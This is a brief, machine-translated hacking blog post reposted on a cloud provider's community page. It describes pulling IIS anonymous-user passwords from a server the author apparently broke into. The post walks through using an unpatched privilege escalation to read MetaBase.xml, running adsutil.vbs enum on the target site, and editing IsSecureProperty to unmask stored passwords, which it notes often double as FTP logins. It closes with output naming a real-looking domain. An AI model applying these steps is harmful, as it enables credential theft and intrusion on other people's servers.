Read the IIS Password, and restore the IIS Password to the original

Source: Internet
Author: User
Tags metabase

Read the IIS Password, and restore the IIS Password to the original

When I was working on a project today, I used my iis. vbs to read the iis user list and password.

Because sometimes the iis Password is the FTP Password

Many of them are listed, but the target site is not found.

Because the server is not patched, it seems that the privilege escalation program can be used.

Use the Elevation of Privilege program to view type C: \ WINDOWS \ system32 \ inetsrv \ MetaBase. xml

Finally, we found the target site.

AnonymousUserPass is a long string of characters

Here, we can use the iis automatic vbs to restore the iis Password

Execution directory cscript C: \ Inetpub \ AdminScripts \ adsutil. vbs enum w3svc/249

This 249 is the Location = "/LM/W3SVC/249" in MetaBase. xml"
 

If the server does not have adsutil. vbs, you can upload the file and modify it to the corresponding path for execution.

If the password is *, change "IsSecureProperty = True" in adsutil. vbs to "IsSecureProperty = False"

Then run the command again.

Execution result


KeyType                         : (STRING) "IIsWebServer"   ServerState                     : (INTEGER) 2   ServerComment                   : (STRING) "goingta.com"   MaxBandwidth                    : (INTEGER) 4294967295   ServerSize                      : (INTEGER) 1   ServerBindings                  : (LIST) (2 Items)   MaxConnections                  : (INTEGER) 500   AnonymousUserName               : (STRING) "goingta.com"   AnonymousUserPass               : (STRING) "xxxxxx"   DefaultDoc                      : (STRING) "index.php,default.cgi,index.asp,default.asp,index.htm"   AspEnableParentPaths            : (BOOLEAN) True   DirBrowseFlags                  : (INTEGER) 1073741854   EnableDirBrowsing               : (BOOLEAN) FalseDir   BrowseShowDate               : (BOOLEAN) TrueDir   BrowseShowTime               : (BOOLEAN) TrueDir   BrowseShowSize               : (BOOLEAN) TrueDir   BrowseShowExtension          : (BOOLEAN) TrueDir   BrowseShowLongDate           : (BOOLEAN) False   EnableDefaultDoc                : (BOOLEAN) True   LogType                         : (INTEGER) 1   LogFileDirectory                : (EXPANDSZ) "f:\wwwroots\goingta.com\logfiles"   Win32Error                      : (INTEGER) 0   AppPoolId                       : (STRING) "AppPool001001"[/W3SVC/249/ROOT]   

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.